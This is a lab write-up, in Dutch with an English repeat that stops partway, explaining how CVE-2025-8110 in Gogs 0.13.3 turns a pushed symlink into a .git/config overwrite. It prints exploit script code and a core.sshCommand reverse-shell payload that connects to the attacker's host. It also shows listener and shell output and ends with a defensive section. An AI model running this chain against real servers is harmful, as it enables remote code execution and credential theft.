← Terug naar writeups
Web Security

CVE-2025-8110 ontleed: van symbolische link tot reverse shell in Gogs

Het verhaal achter CVE-2025-8110 in Gogs 0.13.3. Hoe een onschuldig uitziende symlink in een Git-repository de beveiligingscontroles passeert, stiekem het .git/config-bestand op de server overschrijft, en Git zelf dwingt om een reverse shell terug te schieten, zonder ooit het wachtwoord van de server te kennen.

29 okt 2026 22 min lezen Door Said Alhazina

⚠ Lab & autorisatie. Dit speelde zich af in een afgeschermde lab-omgeving binnen Hack The Box (de machine Ghostlink), waar je legaal en met toestemming mag aanvallen. Alle services, credentials en hosts hieronder zijn gesimuleerd en bedoeld om op te oefenen. Dezelfde technieken loslaten op een echt systeem zonder uitdrukkelijke, schriftelijke opdracht is strafbaar. Ik schrijf dit bewust mét de verdediging erbij: de blue-team-sectie onderaan hoort er net zo goed bij als de aanval.

◆ TL;DR. Een interne Gogs-server (een lichtgewicht open-source Git-host, geschreven in Go) draait versie 0.13.3, en die bevat een kritieke symlink-bug (CVE-2025-8110). Ik push een onschuldig uitziende symbolische link naar een repository, overschrijf daarmee stiekem het .git/config-bestand op de server, en dwing Git om bij de eerstvolgende sync een reverse shell naar mijn machine te schieten. Resultaat: een interactieve shell als de git-gebruiker, zonder ooit een serverwachtwoord te hebben gezien.

Dit verhaal ontleedt niet alleen de aanval, maar ook de denkfout in de broncode: hoe een ogenschijnlijk correcte beveiligingscontrole volledig onderuit gaat door één symlink. Ik leg onderweg uit hoe Git symlinks opslaat, waar de Go-ontwikkelaars precies de mist in gingen, en waarom een .git/config-bestand net zo gevaarlijk is als een shell-script. Met diagrammen waar die sneller werken dan woorden.

00 · De context: een Git-server op het interne netwerk

Tijdens het verkennen van het Ghostlink-netwerk (waar we eerder via een NTLM-relay-aanval op een MQTT-healthcheck toegang kregen tot een afgeschermde file-share) doken via DNS en interne MQTT-berichten twee hosts op:

gpz-op26-secure.ghostlink.htb    -> de afgeschermde bestandsshare
gpz-op26-toolkits.ghostlink.htb  -> een interne Gogs Git-host

Een Git-server binnen een bedrijfsnetwerk is voor een aanvaller een kroonjuweel: broncode, API-sleutels, deployment-scripts, configuratiebestanden. Maar het wordt pas echt interessant als de code-host zelf kwetsbaar is voor een exploit die direct code op het onderliggende OS laat draaien.

Navigeren naar http://gpz-op26-toolkits.ghostlink.htb toont een standaard Gogs-inlogscherm. Maar er staat geen versienummer in de footer. Om te bepalen of er een bruikbare exploit bestaat, moet ik eerst weten wát er precies draait.

01 · Fingerprinting: de versie achterhalen zonder banner

Veel beheerders verbergen versiebanners en denken daarmee klaar te zijn (security through obscurity). In werkelijkheid lekt vrijwel elke webapp zijn exacte build via statische assets.

De cache-busting hash in de broncode

Als ik de broncode van de loginpagina bekijk (Ctrl+U), vallen de CSS- en JavaScript-links meteen op:

<link rel="stylesheet" href="/css/gogs.min.css?v=5084b4a9b77a506f5e287e82e945e1c6882b827a">
<script src="/js/gogs.js?v=5084b4a9b77a506f5e287e82e945e1c6882b827a"></script>

HTML broncode met commit-hash

In de HTML-broncode van de Gogs-loginpagina staat achter de statische assets een hash als query-parameter: ?v=5084b4a.... Dat is de cache-buster.

Ontwikkelaars voegen die hash toe (?v=...) zodat browsers het bestand verversen bij een update. In Gogs is die waarde de volledige Git-commit-hash van de release. Dat is een cadeautje.

De commit opzoeken op GitHub

Gogs is open source op GitHub (gogs/gogs), dus die hash kan ik gewoon opzoeken: github.com/gogs/gogs/commit/5084b4a9b77a....

GitHub commit 5084b4a toont versie 0.13.3

De commit op GitHub verwijst naar “release: update version to 0.13.3”, waarin conf.App.Version in gogs.go wordt verhoogd naar 0.13.3.

Fingerprinting van Gogs via HTML asset-hashes 1 · HTML Broncode gogs.min.css?v=5084b4a... gogs.js?v=5084b4a... (Cache-buster hash) 2 · GitHub Commit commit/5084b4a9b7... "update version to 0.13.3" in gogs.go 3 · Doel Gevonden Gogs v0.13.3 CVE-2025-8110 Kwetsbaar voor RCE

Binnen twee minuten weet ik de exacte versie en build: Gogs 0.13.3. Dankzij een cache-buster die de ontwikkelaars daar zelf hebben neergezet.

Een zoektocht naar kwetsbaarheden in die versie leidt recht naar CVE-2025-8110 (ontdekt door Wiz Research): een path traversal via symbolische links in de file-editing API, met Remote Code Execution als resultaat. Nu moet ik begrijpen hoe die bug werkt.

Om te volgen waarom dit zo dodelijk is, is het handig om te weten hoe Git met symlinks omgaat.

Een symlink is een speciaal bestandstype op Unix-achtige systemen: een verwijzing naar een ander bestand. Als een programma de symlink opent, volgt het OS transparant de link naar het doel (dereferencing):

$ ln -s .git/config malicious_link
$ ls -l malicious_link
lrwxrwxrwx 1 user user 11 Oct 29 20:30 malicious_link -> .git/config

Git kent drie bestandsmodi: 100644 (normaal bestand), 100755 (uitvoerbaar), en 120000 (symbolische link). Bij een symlink slaat Git géén speciaal binair object op. De blob bevat simpelweg de tekstuele padnaam van het doel:

$ git cat-file -p HEAD:malicious_link
.git/config
Git object-opslag: normaal bestand versus symbolische link Mode 100644 (regulier bestand) Git blob bevat de echte bestandsinhoud data: "Hallo wereld..." Op schijf (checkout) Standaard bestand met bytes Inhoud wordt direct gelezen/geschreven Mode 120000 (symbolische link) Git blob bevat ALLEEN het doelpad als tekst data: ".git/config" Op schijf (checkout) OS symlink: malicious_link → .git/config OS volgt verwijzing naar doel

Git ondersteunt symlinks volledig legitiem via mode 120000. Bij checkout op de server maakt het OS de echte symlink aan. En omdat Git het pushen van symlinks gewoon toestaat, kan elke gebruiker met schrijfrechten er een naar de server sturen.

Dat is op zich niet erg, zolang de server weet dat het een symlink is en er voorzichtig mee omgaat. Maar precies dáár gaat het mis.

03 · De bug: waar de Gogs-code misgaat

Nu de kern. Gogs biedt een API-endpoint om bestanden in een repository aan te maken of te wijzigen: PUT /api/v1/repos/{owner}/{repo}/contents/{filepath}. Onder de motorkap roept die de functie UpdateRepoFile aan in internal/database/repo_editor.go. Laat me je stap voor stap door de kwetsbare code in versie 0.13.3 leiden:

// internal/database/repo_editor.go (Gogs <= 0.13.3)
func (r *Repository) UpdateRepoFile(doer *User, opts UpdateRepoFileOptions) (err error) {
    if isRepositoryGitPath(opts.NewTreeName) {
        return errors.Errorf("bad tree path %q", opts.NewTreeName)
    }

    ...
    localPath := r.LocalCopyPath()
    filePath := path.Join(localPath, opts.NewTreeName)

    if opts.IsNewFile {
        if osutil.IsSymlink(filePath) {
            return fmt.Errorf("cannot update symbolic link: %s", opts.NewTreeName)
        }
        if osutil.IsExist(filePath) {
            return ErrRepoFileAlreadyExist{filePath}
        }
    }

    if err = os.WriteFile(filePath, []byte(opts.Content), 0600); err != nil {
        return fmt.Errorf("write file: %v", err)
    }
    ...
}

Er zitten drie dingen mis in deze functie. Laat me ze stuk voor stuk doorlopen.

De padcontrole is puur tekstueel

if isRepositoryGitPath(opts.NewTreeName) {
    return errors.Errorf("bad tree path %q", opts.NewTreeName)
}

isRepositoryGitPath controleert of de opgegeven bestandsnaam begint met .git/ of .git\, dus een simpele string-vergelijking. Elk pad met zo’n prefix wordt geweigerd, dus een directe aanval als PUT /contents/.git/config ketst hier af. Maar een naam als readme.md, config_backup, of welke naam dan ook zonder .git/ erin, glipt er gewoon doorheen. De controle beschermt tegen directe toegang tot .git/, maar zegt niets over waar het bestandssysteem uiteindelijk terechtkomt.

if opts.IsNewFile {
    if osutil.IsSymlink(filePath) {
        return fmt.Errorf("cannot update symbolic link: %s", opts.NewTreeName)
    }
}

De ontwikkelaars hadden bedacht dat symlinks gevaarlijk zijn, want osutil.IsSymlink(filePath) staat er gewoon. Maar de controle zit binnen if opts.IsNewFile. Als je een nieuw bestand aanmaakt, wordt gecheckt of het pad toevallig een symlink is. Maar als het een bestaand bestand is dat je updatet (IsNewFile == false), wordt die hele check overgeslagen. De code gaat er vanuit dat een bestaand bestand veilig is, maar dat is het niet als iemand er eerder een symlink van heeft gemaakt.

if err = os.WriteFile(filePath, []byte(opts.Content), 0600); err != nil {
    return fmt.Errorf("write file: %v", err)
}

Go’s os.WriteFile roept onder de motorkap os.OpenFile aan zonder de O_NOFOLLOW-flag. Dat betekent: als filePath een symlink is, volgt het OS die link gewoon en schrijft naar het doelbestand in plaats van naar de symlink zelf. De code merkt daar niets van. Voor Go is het gewoon een geslaagde schrijfoperatie.

Wat dit mogelijk maakt

Deze drie fouten samen creëren een arbitrary file write: iedereen die een symlink kan committen naar een repository en die symlink vervolgens kan updaten via de API, kan elk bestand overschrijven waartoe het Gogs-proces schrijfrechten heeft. De padcontrole kijkt alleen naar de naam, de symlink-check wordt overgeslagen bij updates, en de schrijfactie volgt de link blindelings.

Hoe de fix eruitziet

In Gogs 0.13.4 repareerde het team de fout met een recursieve helper die elk segment van het pad controleert op symlinks, ongeacht of het om een nieuw of bestaand bestand gaat:

func hasSymlinkInPath(base, relPath string) bool {
    parts := strings.Split(filepath.ToSlash(relPath), "/")
    for i := range parts {
        filePath := path.Join(append([]string{base}, parts[:i+1]...)...)
        if osutil.IsSymlink(filePath) {
            return true
        }
    }
    return false
}

Simpel, effectief, en het had er vanaf het begin in moeten zitten.

Hoe gebruik je die arbitrary file write in de praktijk? De aanval bestaat uit twee stappen.

Stap 1: de symlink pushen. Ik maak lokaal een symlink aan die wijst naar .git/config, het configuratiebestand van de Git-repository op de server:

$ ln -s .git/config malicious_link
$ git add malicious_link
$ git commit -m "Add malicious symlink"
 create mode 120000 malicious_link
$ git push origin master

Dit is een standaard Git-feature: symlinks worden opgeslagen als mode 120000 (zie sectie 02). De Gogs-server accepteert de push zonder problemen, want het is een volledig legaal Git-object. Op de server bestaat nu een bestand malicious_link dat een symlink is naar .git/config.

Stap 2: de symlink updaten via de API. Nu stuur ik een PUT-verzoek naar het API-endpoint met de inhoud die ik in .git/config wil schrijven:

PUT /api/v1/repos/{user}/{repo}/contents/malicious_link

En precies hier slaan de drie fouten uit sectie 03 toe:

De fatale controlefout in UpdateRepoFile 1 · API-verzoek: PUT /contents/malicious_link Pad = "malicious_link", inhoud = kwaadaardige .git/config 2 · Padcontrole: isRepositoryGitPath("malicious_link") Bevat geen ".git/" → doorgelaten doorgelaten 3 · Symlink-check: if opts.IsNewFile { ... } Bestand bestaat al → IsNewFile is false → check overgeslagen overgeslagen 4 · os.WriteFile volgt symlink malicious_link → .git/config → inhoud overschrijft Git-configuratie

De padcontrole ziet “malicious_link”, geen .git/ prefix, dus doorgelaten. Het bestand bestaat al, dus de symlink-check wordt overgeslagen. En os.WriteFile volgt de symlink naar .git/config en overschrijft het.

Het resultaat: ik controleer de Git-configuratie van de repository op de server. En .git/config is in feite uitvoerbare code. Hoe dat werkt, is de volgende stap.

05 · Van schrijftoegang tot shell: core.sshCommand

We hebben nu een Arbitrary File Overwrite binnen het bereik van het Gogs-proces. Maar hoe wordt het overschrijven van .git/config een interactieve reverse shell?

Hoe core.sshCommand normaal werkt

Elke Git-repository heeft een lokaal .git/config-bestand met instellingen voor die specifieke repository. Eén daarvan is core.sshCommand. Die vertelt Git welk commando het moet gebruiken als SSH-client wanneer het verbinding maakt met een remote. Dat is een normale feature. Stel: je hebt meerdere SSH-sleutels en wilt dat Git voor dit project een specifieke deploy key gebruikt:

[core]
    sshCommand = ssh -i ~/.ssh/deploy_key -o StrictHostKeyChecking=no

Wanneer Git een operatie uitvoert tegen een SSH-remote, zoals een push, fetch of pull naar een URL als git@server:repo.git, kijkt het in .git/config naar core.sshCommand. Als die instelling bestaat, vervangt Git de standaard SSH-binary (/usr/bin/ssh) door wat daar staat. Git voert dat commando uit via de shell, met de hostnaam en het Git-commando als extra argumenten erachter.

En hier zit het probleem: Git voert de waarde van core.sshCommand uit als shell-commando. Het controleert niet of het daadwerkelijk een SSH-binary is. Alles wat in die waarde staat, draait met de rechten van het proces dat Git aanroept, in ons geval het Gogs-serverproces.

Hoe een aanvaller dit misbruikt

Omdat ik via de symlink-bug .git/config kan overschrijven, vervang ik de hele configuratie met dit:

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.146/10001 0>&1' #
[remote "origin"]
    url = git@localhost:gogs/{repo_name}.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master

De secties [remote] en [branch] zijn standaard Git-configuratie. Die moeten er zijn zodat Git de repository als geldig ziet. Het probleem zit volledig in de sshCommand-regel. Laat me die stuk voor stuk uitleggen:

  • bash -c '...': start een nieuwe Bash-shell die het commando tussen de aanhalingstekens uitvoert.
  • bash -i: start een interactieve Bash-shell. De -i-vlag geeft ons een prompt zodat we commando’s kunnen typen.
  • >& /dev/tcp/10.10.14.146/10001: stuurt zowel stdout als stderr door naar een TCP-verbinding met mijn machine (10.10.14.146) op poort 10001. Dit is een ingebouwde Bash-feature: /dev/tcp/host/poort is geen echt bestand op disk maar een syntax die een netwerksocket opent.
  • 0>&1: koppelt stdin aan diezelfde TCP-verbinding. Nu gaat alles wat ik typ op mijn machine naar de shell op de server, en alles wat de server antwoordt komt terug.
  • #: maakt de rest van de regel commentaar. Git plakt standaard de hostnaam en SSH-argumenten achter het commando (bash -c '...' # git@localhost "git-receive-pack '...'"). Zonder het hekje struikelt Bash over die extra argumenten. Het # schakelt ze uit.

Het resultaat: een volledige interactieve shell over het netwerk. De server verbindt naar mij (vandaar “reverse” shell), dus ik hoef geen poort op de server open te hebben. Zodra Gogs een interne Git-operatie uitvoert die SSH raakt, leest Git de kwaadaardige configuratie en schiet de shell naar mijn listener.

Git core.sshCommand hijacking 1 · Gogs voert Git-actie uit git push / sync naar remote Na de PutContents-commit 2 · Git leest .git/config Vindt: [core] sshCommand = ... Vervangt standaard SSH-binary 3 · Git voert sshCommand uit bash -c 'bash -i >& /dev/tcp/...' # '#' schakelt extra Git-args uit 4 · Reverse shell TCP naar 10.10.14.146:10001 Interactieve shell als gebruiker git

Zodra Gogs de wijziging probeert te synchroniseren, voert Git core.sshCommand uit en schiet de reverse shell naar mijn listener.

06 · De aanval uitvoeren

Het exploit-script (CVE-2025-8110.py) automatiseert de hele keten. Laat me stap voor stap door de code lopen.

De complete aanvalsketen van CVE-2025-8110 1 · Account + API-token aanmaken Registratie, login, CSRF scrapen, REST-token genereren 2 · Repository aanmaken POST /api/v1/user/repos met auto_init 3 · Symlink pushen via Git clone → symlink aanmaken → commit (120000) → push 4 · Payload injecteren via de API PUT /contents/malicious_link met kwaadaardig .git/config 5 · Reverse shell Gogs git-operatie triggert sshCommand → shell op listener Toegang als 'git' op de host

Stap 1: Authenticatie

We hadden eerder in de keten credentials gevonden van een Gogs-gebruiker. Het script probeert eerst een account te registreren, maar als open registratie is uitgeschakeld (zoals hier het geval), valt het terug op de login-route:

def login(session, base_url, username, password):
    login_url = f"{base_url}/user/login"
    resp = session.get(login_url)
    csrf = extract_csrf(resp.text)

    login_data = {
        "_csrf": csrf,
        "user_name": username,
        "password": password,
    }
    resp = session.post(login_url, data=login_data, allow_redirects=True)

De requests.Session bewaart cookies automatisch tussen verzoeken. Het script haalt eerst het loginformulier op om het CSRF-token te scrapen, een anti-forgery token dat Gogs in elk formulier verstopt. Dat token wordt meegestuurd met de login-POST, net zoals een browser dat zou doen. Als de redirect na de POST niet terug naar /user/login wijst, is de authenticatie geslaagd en blijven de sessiecookies bewaard voor alle volgende API-aanroepen.

Daarna genereert het script een API-token via de applicatie-instellingen:

def get_application_token(session, base_url):
    settings_url = f"{base_url}/user/settings/applications"
    get_resp = session.get(settings_url, allow_redirects=True)
    csrf = extract_csrf(get_resp.text)

    data = {"_csrf": csrf, "name": os.urandom(8).hex()}
    resp = session.post(settings_url, data=data, allow_redirects=True)

Dit navigeert naar de Gogs-instellingenpagina en maakt een nieuw applicatietoken aan met een willekeurige naam. Dit token geeft geauthenticeerde toegang tot de REST API zonder dat we telkens sessiecookies hoeven mee te sturen.

Stap 2: Repository aanmaken via de API

def create_malicious_repo(session, base_url, token):
    api = f"{base_url}/api/v1/user/repos"
    repository_name = os.urandom(6).hex()
    data = {
        "name": repository_name,
        "auto_init": True,
        "readme": "Default",
    }
    session.headers.update({"Authorization": f"token {token}"})
    resp = session.post(api, json=data)

Een POST naar /api/v1/user/repos met auto_init: True maakt een nieuwe repository aan die meteen een eerste commit heeft (met een README). Dat is belangrijk: we hebben een bestaande repository nodig met een Git-history zodat we er bestanden naar kunnen pushen. De repositorynaam is random gegenereerd, elke keer een andere, zodat het script herhaaldelijk kan draaien zonder conflicten.

def upload_malicious_symlink(base_url, username, password, repo_name):
    repo_dir = f"/tmp/{repo_name}"
    clone_cmd = [
        "git", "clone",
        f"{parsed_url.scheme}://{username}:{password}@{parsed_url.netloc}"
        f"{base_path}/{username}/{repo_name}.git",
        repo_dir,
    ]
    subprocess.run(clone_cmd, check=True)

    os.symlink(".git/config", symlink_path)

Het script kloont de zojuist aangemaakte repository naar een tijdelijke map. Dan maakt het een symbolische link aan: malicious_link → .git/config. Op het lokale bestandssysteem is dit gewoon een symlink, niets bijzonders. Maar zodra Git deze opslaat, wordt het een bestandje met mode 120000 waarvan de inhoud het pad .git/config is.

Stap 4: Registreren als mode 120000 en pushen

    subprocess.run(["git", "add", "malicious_link"], cwd=repo_dir, check=True)
    subprocess.run(["git", "commit", "-m", "Add malicious symlink"], cwd=repo_dir, check=True)
    subprocess.run(["git", "push", "origin", "master"], cwd=repo_dir, check=True)

git add registreert de symlink in de Git-index als een blob met mode 120000, het Git-interne type voor symbolische links. De blob-inhoud is letterlijk de tekst .git/config: het doelpad van de symlink. Na de commit pusht het script deze naar de Gogs-server. Gogs slaat het bestand op als een regulier repository-object, inclusief de 120000-metadata. Op de server bestaat de symlink nu als repository-data.

Stap 5: De kwaadaardige .git/config payload

In main() bouwt het script de payload, een volledig .git/config-bestand met de kwaadaardige sshCommand:

    command = f"bash -c 'bash -i >& /dev/tcp/{args.host}/{args.port} 0>&1' #"

    git_config = f"""[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    sshCommand = {command}
[remote "origin"]
    url = git@localhost:gogs/{repo_name}.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
    remote = origin
    merge = refs/heads/master
"""

Dit is het .git/config-bestand dat straks op de server terechtkomt. Het ziet er grotendeels normaal uit: geldige Git-configuratie met de juiste remote en branch-instellingen. Maar de sshCommand-regel bevat onze reverse shell (zoals uitgelegd in sectie 05). De variabelen args.host en args.port worden ingevuld met het IP-adres en de poort van mijn machine.

Stap 6: de trigger, .git/config overschrijven via de API

def exploit(session, base_url, token, username, repo_name, command):
    api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
    data = {
        "message": "Exploit CVE-2025-8110",
        "content": base64.b64encode(command.encode()).decode(),
    }
    headers = {
        "Authorization": f"token {token}",
        "Content-Type": "application/json",
    }
    session.put(api, json=data, headers=headers)

Dit is waar de kwetsbaarheid wordt getriggerd. Het script stuurt een PUT-verzoek naar het Gogs content-API-endpoint voor malicious_link. De payload, ons kwaadaardige .git/config-bestand, wordt Base64-gecodeerd meegestuurd in het content-veld.

Achter de schermen roept Gogs UpdateRepoFile aan. De padcontrole ziet malicious_link, geen .git/-prefix, dus die slaagt. Het bestand bestaat al, dus IsNewFile is false, en de symlink-check wordt overgeslagen. Vervolgens schrijft os.WriteFile de payload naar het pad van malicious_link, maar het OS volgt de symlink en schrijft naar .git/config. Gogs verwerkt daarna de commit en voert interne Git-operaties uit, en op dat moment leest Git de kwaadaardige configuratie en schiet de reverse shell.

De listener klaarzetten en het script draaien

Op mijn machine start ik een Netcat-listener, en dan het exploit-script:

$ nc -lvnp 10001
listening on [any] 10001 ...
$ python3 CVE-2025-8110.py -u http://gpz-op26-toolkits.ghostlink.htb -lh 10.10.14.146 -lp 10001

Uitvoering van het exploit-script

De output: succesvolle authenticatie, token generatie, repository creatie, symlink push en de API-aanroep.

[+] Authenticated successfully
Token generation status: 200
Repo creation status: 201
[master 99bfb60] Add malicious symlink
 create mode 120000 malicious_link
[+] Exploit sent, check your listener!

En vrijwel direct verschijnt de verbinding op mijn listener:

Interactieve shell als git-gebruiker

De reverse shell landt: whoami bevestigt dat we code uitvoeren als git op gpz-op26-toolkits.

connect to [10.10.14.146] from (UNKNOWN) [10.129.86.15] 43812
git@gpz-op26-toolkits:~/data/ssh$ whoami
git
git@gpz-op26-toolkits:~/data/ssh$ id
uid=1000(git) gid=1000(git) groups=1000(git)

Vanuit hier kan ik SSH-sleutels uitlezen, database-wachtwoorden uit app.ini halen, en verder het interne netwerk in.

07 · Blue team: waar breekt deze aanval?

Deze keten had op meerdere plekken kunnen afketsen:

  • Patchen. De enige definitieve oplossing is Gogs 0.13.4 of nieuwer. De nieuwe code controleert alle padsegmenten op symlinks, ongeacht of het een nieuw of bestaand bestand is.
  • Geen open registratie. CVE-2025-8110 vereist een geauthenticeerd account met rechten om repositories aan te maken. Schakel open registratie uit in app.ini (DISABLE_REGISTRATION = true, REQUIRE_SIGNIN_VIEW = true). Zonder account kan een externe aanvaller de kwetsbare API niet bereiken.
  • Least privilege en egress filtering. Draai Gogs als niet-root in een afgeschermde container. En een interne Git-server hoeft zelden willekeurige uitgaande TCP-verbindingen op te zetten naar onbekende IP’s en poorten: goede firewallregels smoren reverse shells in de kiem.
  • Monitor op symlinks in repositories. Bestanden met mode 120000 die naar .git/ of systeemconfiguraties wijzen, zijn een rood signaal. Schakel audit-logging in op wijzigingen aan .git/config binnen de repository-opslag.

08 · De les

De kern die ik meeneem:

  1. Tekstuele padvalidatie is schijnveiligheid. Een string controleren met strings.HasPrefix of path.Clean zegt niets over waar het bestandssysteem uiteindelijk landt als er symlinks in het spel zijn. Controleer altijd het volledig opgeloste canonieke pad (filepath.EvalSymlinks) vóór je schrijfrechten verleent.
  2. Standaard schrijffuncties volgen symlinks. In Go, Python en veel andere talen volgt de standaard file-write symlinks zonder waarschuwing. Gebruik waar mogelijk O_NOFOLLOW of verifieer vooraf.
  3. Git-configuraties zijn uitvoerbare code. .git/config bevat krachtige directives als core.sshCommand en core.fsmonitor. Laat gebruikers nooit direct of indirect schrijven naar de .git-metadata van een repository.
  4. Statische assets verraden je versie. Verberg je versiebanners, maar vergeet je asset cache-busters niet. Een commit-hash in een <script> tag vertelt een aanvaller vaak meer dan een formeel versienummer.

⚠ Lab & authorization. This took place in a walled-off lab environment inside Hack The Box (the machine Ghostlink), where you may legally and with permission attack. Every service, credential and host below is simulated and meant for practice. Running these techniques against a real system without explicit, written authorization is a crime. I deliberately include the defence: the blue-team section at the end is as much a part of this as the attack.

◆ TL;DR. An internal Gogs server (a lightweight open-source Git host written in Go) runs version 0.13.3, which carries a critical symlink bug (CVE-2025-8110). I push an innocent-looking symbolic link into a repository, silently overwrite the server’s .git/config through it, and force Git to fire a reverse shell back to my machine on the next sync. Result: an interactive shell as the git user, without ever knowing a server password.

This story dissects not just the attack, but the design flaw in the source code: how a seemingly correct security check falls apart completely because of one symlink. I explain along the way how Git stores symlinks, where the Go developers went wrong, and why a .git/config file is as dangerous as a shell script. With diagrams where they’re faster than words.

00 · The context: a Git server on the internal network

During reconnaissance on the Ghostlink network (where we previously gained access to a locked-down file share via an NTLM relay attack against an MQTT health check), DNS records and internal MQTT messages revealed two hosts:

gpz-op26-secure.ghostlink.htb    -> the restricted file share
gpz-op26-toolkits.ghostlink.htb  -> an internal Gogs Git host

A Git server inside a corporate network is a crown jewel for any attacker: source code, API keys, deployment scripts, config files. But it gets truly interesting when the code host itself is vulnerable to an exploit that yields direct code execution on the underlying OS.

Browsing to http://gpz-op26-toolkits.ghostlink.htb shows a standard Gogs login screen. But there’s no version number in the footer. To figure out whether an exploit exists, I first need to know exactly what’s running.

01 · Fingerprinting: finding the version without a banner

Many administrators hide version banners and call it a day (security through obscurity). In reality, nearly every web app leaks its exact build through static assets.

The cache-busting hash in the source

When I inspect the page source of the login page (Ctrl+U), the CSS and JavaScript links immediately stand out:

<link rel="stylesheet" href="/css/gogs.min.css?v=5084b4a9b77a506f5e287e82e945e1c6882b827a">
<script src="/js/gogs.js?v=5084b4a9b77a506f5e287e82e945e1c6882b827a"></script>

HTML source code showing commit hash

In the HTML source of the Gogs login page, static assets carry a query-parameter hash: ?v=5084b4a.... That’s the cache buster.

Developers append that hash (?v=...) so browsers refresh the file on updates. In Gogs, that value is the full Git commit hash of the release. That’s a gift.

Looking up the commit on GitHub

Gogs is open source on GitHub (gogs/gogs), so I can just look up that hash: github.com/gogs/gogs/commit/5084b4a9b77a....

GitHub commit 5084b4a reveals version 0.13.3

The commit on GitHub points to “release: update version to 0.13.3”, where conf.App.Version in gogs.go is bumped to 0.13.3.

Gogs fingerprinting via HTML asset hashes 1 · HTML Source gogs.min.css?v=5084b4a... gogs.js?v=5084b4a... (Cache-buster hash) 2 · GitHub Commit commit/5084b4a9b7... "update version to 0.13.3" in gogs.go 3 · Target Found Gogs v0.13.3 CVE-2025-8110 Vulnerable to RCE

Within two minutes I know the exact version and build: Gogs 0.13.3. Thanks to a cache buster the developers put there themselves.

A vulnerability search for that version leads straight to CVE-2025-8110 (discovered by Wiz Research): a path traversal via symbolic links in the file editing API, leading to Remote Code Execution. Now I need to understand how the bug works.

To follow why this is so lethal, it helps to know how Git deals with symlinks.

A symlink is a special file type on Unix-like systems: a pointer to another file. When a program opens the symlink, the OS transparently follows it to the target (dereferencing):

$ ln -s .git/config malicious_link
$ ls -l malicious_link
lrwxrwxrwx 1 user user 11 Oct 29 20:30 malicious_link -> .git/config

Git has three file modes: 100644 (regular file), 100755 (executable), and 120000 (symbolic link). For a symlink, Git doesn’t create a special binary object. The blob simply contains the target path as plain text:

$ git cat-file -p HEAD:malicious_link
.git/config
Git object storage: regular file versus symbolic link Mode 100644 (regular file) Git blob stores actual file data data: "Hello world..." On disk (checkout) Standard file bytes written to disk Content is read/written directly Mode 120000 (symbolic link) Git blob stores ONLY target path string data: ".git/config" On disk (checkout) OS symlink: malicious_link → .git/config Filesystem dereferences to target

Git legitimately supports symlinks via mode 120000. On checkout the OS creates the real symlink. And because pushing symlinks is a standard Git feature, any user with write access can send one to the server.

That’s fine on its own, as long as the server knows it’s a symlink and handles it carefully. But that’s exactly where things go wrong.

03 · The bug: where the Gogs code fails

Here’s the heart of it. Gogs exposes an API endpoint to create or update files: PUT /api/v1/repos/{owner}/{repo}/contents/{filepath}. Under the hood it calls UpdateRepoFile in internal/database/repo_editor.go. Let me walk you through the vulnerable code in version 0.13.3:

// internal/database/repo_editor.go (Gogs <= 0.13.3)
func (r *Repository) UpdateRepoFile(doer *User, opts UpdateRepoFileOptions) (err error) {
    if isRepositoryGitPath(opts.NewTreeName) {
        return errors.Errorf("bad tree path %q", opts.NewTreeName)
    }

    ...
    localPath := r.LocalCopyPath()
    filePath := path.Join(localPath, opts.NewTreeName)

    if opts.IsNewFile {
        if osutil.IsSymlink(filePath) {
            return fmt.Errorf("cannot update symbolic link: %s", opts.NewTreeName)
        }
        if osutil.IsExist(filePath) {
            return ErrRepoFileAlreadyExist{filePath}
        }
    }

    if err = os.WriteFile(filePath, []byte(opts.Content), 0600); err != nil {
        return fmt.Errorf("write file: %v", err)
    }
    ...
}

Three things go wrong in this function. Let me walk through them one by one.

The path check is purely textual

if isRepositoryGitPath(opts.NewTreeName) {
    return errors.Errorf("bad tree path %q", opts.NewTreeName)
}

isRepositoryGitPath checks whether the supplied filename starts with .git/ or .git\, a simple string comparison. Any path with that prefix is rejected, so a direct attack like PUT /contents/.git/config is stopped here. But a name like readme.md, config_backup, or anything else without .git/ in it, passes right through. The check guards against direct access to .git/, but says nothing about where the filesystem actually ends up.

if opts.IsNewFile {
    if osutil.IsSymlink(filePath) {
        return fmt.Errorf("cannot update symbolic link: %s", opts.NewTreeName)
    }
}

The developers did think about dangerous symlinks, because osutil.IsSymlink(filePath) is right there. But the check lives inside if opts.IsNewFile. When creating a new file, it verifies whether the path happens to be a symlink. But when updating an existing file (IsNewFile == false), the entire check is skipped. The code assumes an existing file is safe, but it isn’t if someone previously committed a symlink under that name.

if err = os.WriteFile(filePath, []byte(opts.Content), 0600); err != nil {
    return fmt.Errorf("write file: %v", err)
}

Go’s os.WriteFile calls os.OpenFile under the hood without the O_NOFOLLOW flag. That means: if filePath is a symlink, the OS transparently follows it and writes to the target file rather than the symlink itself. The code has no idea. For Go, it’s just a successful write.

What this enables

These three flaws together create an arbitrary file write: anyone who can commit a symlink to a repository and then update that symlink via the API can overwrite any file the Gogs process has write access to. The path check only looks at the name, the symlink check is skipped on updates, and the write follows the link blindly.

How the fix looks

In Gogs 0.13.4 the team fixed the flaw with a recursive helper that checks every segment of the path for symlinks, regardless of whether it’s a new or existing file:

func hasSymlinkInPath(base, relPath string) bool {
    parts := strings.Split(filepath.ToSlash(relPath), "/")
    for i := range parts {
        filePath := path.Join(append([]string{base}, parts[:i+1]...)...)
        if osutil.IsSymlink(filePath) {
            return true
        }
    }
    return false
}

Simple, effective, and it should have been there from the start.

How do you use that arbitrary file write in practice? The attack has two steps.

Step 1: push the symlink. I create a local symlink pointing at .git/config, the Git configuration file of the repository on the server:

$ ln -s .git/config malicious_link
$ git add malicious_link
$ git commit -m "Add malicious symlink"
 create mode 120000 malicious_link
$ git push origin master

This is a standard Git feature: symlinks are stored as mode 120000 (see section 02). The Gogs server accepts the push without complaint, because it’s a perfectly legal Git object. On the server, a file named malicious_link now exists as a symlink pointing to .git/config.

Step 2: update the symlink via the API. Now I send a PUT request to the API endpoint with the content I want written into .git/config:

PUT /api/v1/repos/{user}/{repo}/contents/malicious_link

And this is exactly where the three flaws from section 03 kick in:

